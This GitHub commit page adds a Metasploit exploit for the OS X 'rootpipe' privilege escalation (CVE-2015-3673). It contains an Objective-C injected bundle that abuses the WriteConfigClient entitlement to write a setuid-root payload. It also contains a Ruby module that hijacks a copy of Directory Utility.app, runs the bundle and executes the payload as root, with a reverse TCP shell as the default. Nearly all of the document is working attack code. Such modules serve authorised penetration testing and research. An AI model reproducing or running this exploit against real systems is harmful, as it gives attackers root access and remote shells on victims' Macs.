Skip to content

Commit 9364982

Browse files
committed
Land rapid7#5665, Add osx rootpipe entitlements exploit for 10.10.3
2 parents 29e92aa + e45347e commit 9364982

File tree

3 files changed

+194
-0
lines changed

3 files changed

+194
-0
lines changed
9.07 KB
Binary file not shown.

data/exploits/CVE-2015-3673/exploit.m

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
// gcc -bundle exploit.m -arch x86_64 -o exploit.daplug -framework Cocoa
2+
3+
#include <dlfcn.h>
4+
#include <objc/objc.h>
5+
#include <objc/runtime.h>
6+
#include <objc/message.h>
7+
#include <Foundation/Foundation.h>
8+
9+
#define PRIV_FWK_BASE "/System/Library/PrivateFrameworks"
10+
#define FWK_BASE "/System/Library/Frameworks"
11+
12+
void __attribute__ ((constructor)) test(void)
13+
{
14+
void* p = dlopen(PRIV_FWK_BASE "/SystemAdministration.framework/SystemAdministration", RTLD_NOW);
15+
16+
if (p != NULL)
17+
{
18+
id sharedClient = objc_msgSend(objc_lookUpClass("WriteConfigClient"), @selector(sharedClient));
19+
objc_msgSend(sharedClient, @selector(authenticateUsingAuthorizationSync:), nil);
20+
id tool = objc_msgSend(sharedClient, @selector(remoteProxy));
21+
22+
NSString* inpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_IN"];
23+
NSString* outpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_OUT"];
24+
NSData* data = [NSData dataWithContentsOfFile:inpath];
25+
26+
objc_msgSend(tool, @selector(createFileWithContents:path:attributes:),
27+
data,
28+
outpath,
29+
@{ NSFilePosixPermissions : @04777 });
30+
}
31+
32+
exit(1);
33+
}
Lines changed: 161 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,161 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Exploit::Local
9+
10+
Rank = GreatRanking
11+
12+
include Msf::Post::OSX::System
13+
include Msf::Exploit::EXE
14+
include Msf::Exploit::FileDropper
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Apple OS X Entitlements Rootpipe Privilege Escalation',
19+
'Description' => %q{
20+
This module exploits the rootpipe vulnerability and bypasses Apple's initial
21+
fix for the issue by injecting code into a process with the 'admin.writeconfig'
22+
entitlement.
23+
},
24+
'Author' => [
25+
'Emil Kvarnhammar', # Vulnerability discovery and PoC
26+
'joev' # Copy/paste monkey
27+
],
28+
'References' => [
29+
['CVE', '2015-3673'],
30+
['URL', 'https://truesecdev.wordpress.com/2015/07/01/exploiting-rootpipe-again/']
31+
],
32+
'DisclosureDate' => 'Jul 1 2015',
33+
'License' => MSF_LICENSE,
34+
'Platform' => 'osx',
35+
'Arch' => ARCH_X86_64,
36+
'SessionTypes' => ['shell'],
37+
'Privileged' => true,
38+
'Targets' => [
39+
['Mac OS X 10.9-10.10.3', {}]
40+
],
41+
'DefaultTarget' => 0,
42+
'DefaultOptions' => {
43+
'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
44+
'PrependSetreuid' => true
45+
}
46+
))
47+
48+
register_options([
49+
OptString.new('WRITABLEDIR', [true, 'Writable directory', '/.Trashes'])
50+
])
51+
end
52+
53+
def check
54+
if ver? && admin?
55+
vprint_status("Version is between 10.9 and 10.10.3, and is admin.")
56+
return Exploit::CheckCode::Vulnerable
57+
else
58+
return Exploit::CheckCode::Safe
59+
end
60+
end
61+
62+
def exploit
63+
print_status("Copying Directory Utility.app to #{new_app}")
64+
cmd_exec("cp -R '/System/Library/CoreServices/Applications/Directory Utility.app' '#{new_app}'")
65+
cmd_exec("mkdir -p '#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS'")
66+
67+
print_status("Writing bundle plist to `#{plist_file}'")
68+
write_file(plist_file, plist)
69+
70+
print_status("Writing payload to `#{payload_file}'")
71+
write_file(payload_file, binary_payload)
72+
register_file_for_cleanup(payload_file)
73+
74+
print_status("Writing malicious shared library to `#{exploit_file}'")
75+
write_file(exploit_file, plugin_exploit)
76+
77+
print_status("Running Directory Utility.app")
78+
cmd_exec("/bin/sh -c 'PAYLOAD_IN="+payload_file+" PAYLOAD_OUT="+root_file+" #{new_app}/Contents/MacOS/Directory\\ Utility'")
79+
80+
print_status("Deleting Directory Utility.app")
81+
cmd_exec('rm -Rf "#{new_app}"')
82+
83+
print_status('Executing payload...')
84+
cmd_exec("/bin/sh -c '#{root_file} &'")
85+
end
86+
87+
def ver?
88+
Gem::Version.new(get_sysinfo['ProductVersion']).between?(
89+
Gem::Version.new('10.9'), Gem::Version.new('10.10.3')
90+
)
91+
end
92+
93+
def admin?
94+
cmd_exec('groups | grep -wq admin && echo true') == 'true'
95+
end
96+
97+
def sploit
98+
"#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
99+
end
100+
101+
def plugin_exploit
102+
File.read(File.join(
103+
Msf::Config.data_directory, 'exploits', 'CVE-2015-3673', 'exploit.daplug'
104+
))
105+
end
106+
107+
def binary_payload
108+
Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
109+
end
110+
111+
def exploit_file
112+
"#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS/RootpipeBundle"
113+
end
114+
115+
def plist_file
116+
"#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/Info.plist"
117+
end
118+
119+
def new_app
120+
@app ||= "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}.app"
121+
end
122+
123+
def plist
124+
%Q|
125+
<?xml version="1.0" encoding="UTF-8"?>
126+
<plist version="1.0">
127+
<dict>
128+
<key>CFBundleGetInfoString</key>
129+
<string>RootpipeBundle</string>
130+
<key>CFBundleExecutable</key>
131+
<string>RootpipeBundle</string>
132+
<key>CFBundleIdentifier</key>
133+
<string>com.root.pipe</string>
134+
<key>CFBundleName</key>
135+
<string>RootpipeBundle</string>
136+
<key>CFBundleShortVersionString</key>
137+
<string>0.01</string>
138+
<key>CFBundleInfoDictionaryVersion</key>
139+
<string>6.0</string>
140+
<key>CFBundlePackageType</key>
141+
<string>APPL</string>
142+
<key>IFMajorVersion</key>
143+
<integer>0</integer>
144+
<key>IFMinorVersion</key>
145+
<integer>1</integer>
146+
</dict>
147+
</plist>
148+
|
149+
end
150+
151+
def payload_file
152+
@payload_file ||=
153+
"#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}"
154+
end
155+
156+
def root_file
157+
@root_file ||=
158+
"#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}"
159+
end
160+
161+
end

0 commit comments

Comments
 (0)